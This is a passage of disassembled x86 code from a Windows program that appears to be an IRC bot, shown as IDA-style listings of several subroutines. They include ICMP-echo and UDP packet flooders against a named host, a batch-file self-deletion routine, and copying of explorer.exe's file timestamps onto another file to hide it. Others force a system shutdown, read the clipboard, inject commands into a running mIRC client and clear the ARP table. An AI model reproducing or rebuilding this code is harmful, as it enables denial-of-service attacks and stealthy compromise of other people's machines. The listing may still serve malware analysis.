		add	esp, 0Ch

loc_40A73E:				; CODE XREF: sub_40A6A1+84j
		mov	eax, edi

loc_40A740:				; CODE XREF: sub_40A6A1+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A6A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A745	proc near		; CODE XREF: sub_40A79F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A77E
		push	ebx
		mov	ebx, edi

loc_40A762:				; CODE XREF: sub_40A745+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A781
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A762
		pop	ebx

loc_40A77E:				; CODE XREF: sub_40A745+18j
		pop	edi
		pop	esi
		retn
sub_40A745	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A781	proc near		; CODE XREF: sub_40A745+25p
					; sub_40A79F+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_418E01
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A79C
		cmp	al, 7Ah
		jg	short loc_40A79C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_40A79C:				; CODE XREF: sub_40A781+Ej
					; sub_40A781+12j
		xor	eax, eax
		retn
sub_40A781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A79F	proc near		; CODE XREF: sub_40BE6E+10p
					; sub_40BEA0+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417830
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4177B0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_4177B0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A745
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_40A851
; ---------------------------------------------------------------------------

loc_40A7DF:				; CODE XREF: sub_40A79F+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_418E01
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_418E01
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A84F

loc_40A801:				; CODE XREF: sub_40A79F+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A781
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A822
		mov	eax, ecx

loc_40A822:				; CODE XREF: sub_40A79F+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40A85F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_418E01
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_418E01
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A801

loc_40A84F:				; CODE XREF: sub_40A79F+60j
		dec	edi
		dec	esi

loc_40A851:				; CODE XREF: sub_40A79F+3Ej
		test	esi, esi
		jg	short loc_40A7DF
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_40A85A:				; CODE XREF: sub_40A79F+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40A85F:				; CODE XREF: sub_40A79F+88j
		xor	eax, eax
		jmp	short loc_40A85A
sub_40A79F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A863	proc near		; CODE XREF: sub_40EC43+3C43p
					; sub_40EC43+4AECp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42308C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_423104	; FormatMessageA

loc_40A896:				; DATA XREF: .data:0042746Co
					; .data:004274B0o ...
		lea	eax, [ebp+var_100]

loc_40A89C:				; CODE XREF: sub_40A863+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40A8A8
		cmp	cl, 9
		jnz	short loc_40A8AB

loc_40A8A8:				; CODE XREF: sub_40A863+3Ej
		inc	eax
		jmp	short loc_40A89C
; ---------------------------------------------------------------------------

loc_40A8AB:				; CODE XREF: sub_40A863+43j
					; sub_40A863+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40A8C5
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40A8AB
		cmp	cl, 21h
		jl	short loc_40A8AB

loc_40A8C5:				; CODE XREF: sub_40A863+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43EC50
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41752A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A863	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8ED	proc near		; CODE XREF: sub_40EC43+56EAp
		push	esi
		push	0
		call	dword_43EAF4	; OpenClipboard
		test	eax, eax
		jz	short loc_40A924
		push	1
		call	dword_43EB14	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40A924
		push	edi
		push	esi
		call	dword_42310C	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_423108	; GlobalUnlock
		call	dword_43EB78	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40A924:				; CODE XREF: sub_40A8ED+Bj
					; sub_40A8ED+19j
		xor	eax, eax
		pop	esi
		retn
sub_40A8ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A928	proc near		; CODE XREF: sub_40EC43+4896p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43EB30	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40A9A4
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_423114	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_423000	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_416FB6
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43EB80	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43EB80	; SendMessageA
		push	ebx
		call	dword_423110	; UnmapViewOfFile
		push	edi
		call	dword_423078	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_40A9A6
; ---------------------------------------------------------------------------

loc_40A9A4:				; CODE XREF: sub_40A928+16j
		xor	eax, eax

loc_40A9A6:				; CODE XREF: sub_40A928+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9AA	proc near		; CODE XREF: sub_40E48A+200p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43EBDC	; SearchPathA
		test	eax, eax
		jz	short loc_40AA49
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_423084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AA49
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_42311C	; GetFileTime
		push	ebx
		mov	ebx, dword_423078
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AA49
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_423118	; SetFileTime
		push	esi
		call	ebx	; CloseHandle

loc_40AA49:				; CODE XREF: sub_40A9AA+2Aj
					; sub_40A9AA+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA4E	proc near		; CODE XREF: sub_40EC43+133Ap
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_414EAB
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43EA6C	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AA4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA70	proc near		; CODE XREF: sub_40C90D+45Fp
					; sub_40EC43+5986p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42E918, esi
		push	edi
		jz	short loc_40AA94
		cmp	dword_43EBF0, esi
		jnz	short loc_40AA94
		push	esi
		call	sub_40BFCF
		pop	ecx

loc_40AA94:				; CODE XREF: sub_40AA70+13j
					; sub_40AA70+1Bj
		call	sub_416C3D
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_42312C	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_423084	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ABF4
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_42307C	; WriteFile
		push	edi
		call	dword_423078	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417030
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417030
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43BCE8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_423100	; GetModuleHandleA
		push	eax
		call	dword_423094	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4230A8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AB9C
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_423128	; SetFileAttributesA

loc_40AB9C:				; CODE XREF: sub_40AA70+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_416FB6
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_423124	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_423120	; CreateProcessA

loc_40ABF4:				; CODE XREF: sub_40AA70+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AA70	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABF8	proc near		; CODE XREF: sub_4013E8+7p
					; sub_401985+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43EB64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AC20
		push	[esp+arg_0]
		call	dword_43EBA8	; gethostbyname
		test	eax, eax
		jnz	short loc_40AC19
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AC19:				; CODE XREF: sub_40ABF8+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AC20:				; CODE XREF: sub_40ABF8+Dj
		retn
sub_40ABF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC21	proc near		; CODE XREF: sub_40E961+D6p
		mov	ecx, dword_43EA4C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AC2F
		jmp	ecx
; ---------------------------------------------------------------------------

locret_40AC2F:				; CODE XREF: sub_40AC21+Aj
		retn
sub_40AC21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC30	proc near		; CODE XREF: sub_40EC43:loc_4142DFp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43EBA0	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40ACB7
		sub	ecx, 32h
		jz	loc_40AD01
		sub	ecx, 48h
		jz	short loc_40AC8C
		sub	ecx, 6Eh
		jz	short loc_40AC85

loc_40AC6E:				; CODE XREF: sub_40AC30+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42CC58
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	short loc_40ACE2
; ---------------------------------------------------------------------------

loc_40AC85:				; CODE XREF: sub_40AC30+3Cj
		push	offset dword_42CC24
		jmp	short loc_40ACD4
; ---------------------------------------------------------------------------

loc_40AC8C:				; CODE XREF: sub_40AC30+37j
		push	[ebp+var_8]
		call	sub_417889
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417030
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ACCF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43EBA0	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_40AC6E

loc_40ACB7:				; CODE XREF: sub_40AC30+29j
		cmp	[esi], edi
		jbe	short loc_40ACF2
		lea	ebx, [esi+4]

loc_40ACBE:				; CODE XREF: sub_40AC30+9Bj
		push	ebx
		call	dword_43EB9C	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ACBE
		jmp	short loc_40ACF2
; ---------------------------------------------------------------------------

loc_40ACCF:				; CODE XREF: sub_40AC30+75j
		push	offset dword_42CBE4

loc_40ACD4:				; CODE XREF: sub_40AC30+5Aj
					; sub_40AC30+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_40ACE2:				; CODE XREF: sub_40AC30+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BD8D
		pop	ecx

loc_40ACF2:				; CODE XREF: sub_40AC30+89j
					; sub_40AC30+9Dj
		push	esi
		call	sub_41793B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AD01:				; CODE XREF: sub_40AC30+2Ej
		push	offset unk_42CBA8
		jmp	short loc_40ACD4
sub_40AC30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD08	proc near		; CODE XREF: sub_401444+231p
					; sub_401D6D+253p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EAC8	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43EE50
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_416FB6
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AD08	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AD61	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40AD8C
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]

loc_40AD7F:				; CODE XREF: sub_40AD61+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40AD7F
		pop	edi
		jmp	short loc_40AD90
; ---------------------------------------------------------------------------

loc_40AD8C:				; CODE XREF: sub_40AD61+Aj
		mov	esi, [esp+4+arg_0]

loc_40AD90:				; CODE XREF: sub_40AD61+29j
		test	ecx, ecx
		jz	short loc_40AD99
		movzx	eax, byte ptr [esi]
		add	edx, eax

loc_40AD99:				; CODE XREF: sub_40AD61+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AD61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADB1	proc near		; DATA XREF: sub_40EC43+2E37o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_43EAB0	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43EB64	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AE0C
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43EBA8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40AE12

loc_40AE0C:				; CODE XREF: sub_40ADB1+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40AE6F

loc_40AE12:				; CODE XREF: sub_40ADB1+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42CCD0
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40AE52
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D476
		add	esp, 14h

loc_40AE52:				; CODE XREF: sub_40ADB1+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_30]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_40AE6F:				; CODE XREF: sub_40ADB1+5Fj
		cmp	eax, ebx
		jz	short loc_40AE7F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40AE82
; ---------------------------------------------------------------------------

loc_40AE7F:				; CODE XREF: sub_40ADB1+C0j
		mov	[ebp+var_4], esi

loc_40AE82:				; CODE XREF: sub_40ADB1+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417030
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40AEA2
		mov	[ebp+var_3C], eax

loc_40AEA2:				; CODE XREF: sub_40ADB1+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40AEAA
		mov	[ebp+var_38], edi

loc_40AEAA:				; CODE XREF: sub_40ADB1+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40AED7

loc_40AEB1:				; CODE XREF: sub_40ADB1+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43EA48	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40AEB1

loc_40AED7:				; CODE XREF: sub_40ADB1+FEj
		push	[ebp+arg_0]
		call	dword_43EBD8	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42CC94
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40AF20
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D476
		add	esp, 14h

loc_40AF20:				; CODE XREF: sub_40ADB1+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_30]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
sub_40ADB1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF3D	proc near		; DATA XREF: sub_40EC43+2F71o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43EBA4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43EB64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B022
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43EBA8	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40B01B
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42CD44
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40AFFE
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D476
		add	esp, 14h

loc_40AFFE:				; CODE XREF: sub_40AF3D+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_20]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_40B01B:				; CODE XREF: sub_40AF3D+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B025
; ---------------------------------------------------------------------------

loc_40B022:				; CODE XREF: sub_40AF3D+6Ej
		lea	eax, [ebp+arg_0]

loc_40B025:				; CODE XREF: sub_40AF3D+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B040
		call	sub_417012
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B043
; ---------------------------------------------------------------------------

loc_40B040:				; CODE XREF: sub_40AF3D+F0j
		push	[ebp+var_24]

loc_40B043:				; CODE XREF: sub_40AF3D+101j
		call	dword_43EB24	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B055
		mov	[ebp+var_24], esi

loc_40B055:				; CODE XREF: sub_40AF3D+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B062
		mov	[ebp+var_24], eax

loc_40B062:				; CODE XREF: sub_40AF3D+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B076
		mov	[ebp+var_28], esi

loc_40B076:				; CODE XREF: sub_40AF3D+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B0EF

loc_40B07D:				; CODE XREF: sub_40AF3D+158j
		call	sub_417012
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B07D
		jmp	short loc_40B0EF
; ---------------------------------------------------------------------------

loc_40B099:				; CODE XREF: sub_40AF3D+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi

loc_40B09F:				; CODE XREF: sub_40AF3D+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_417012
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43EB88	; sendto
		push	[ebp+var_28]
		call	dword_423064	; Sleep
		dec	esi
		jnz	short loc_40B09F
		cmp	[ebp+var_24], edi
		jnz	short loc_40B0EF
		call	sub_417012
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43EB24	; htons
		mov	[ebp+var_E], ax

loc_40B0EF:				; CODE XREF: sub_40AF3D+13Ej
					; sub_40AF3D+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_40B099
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
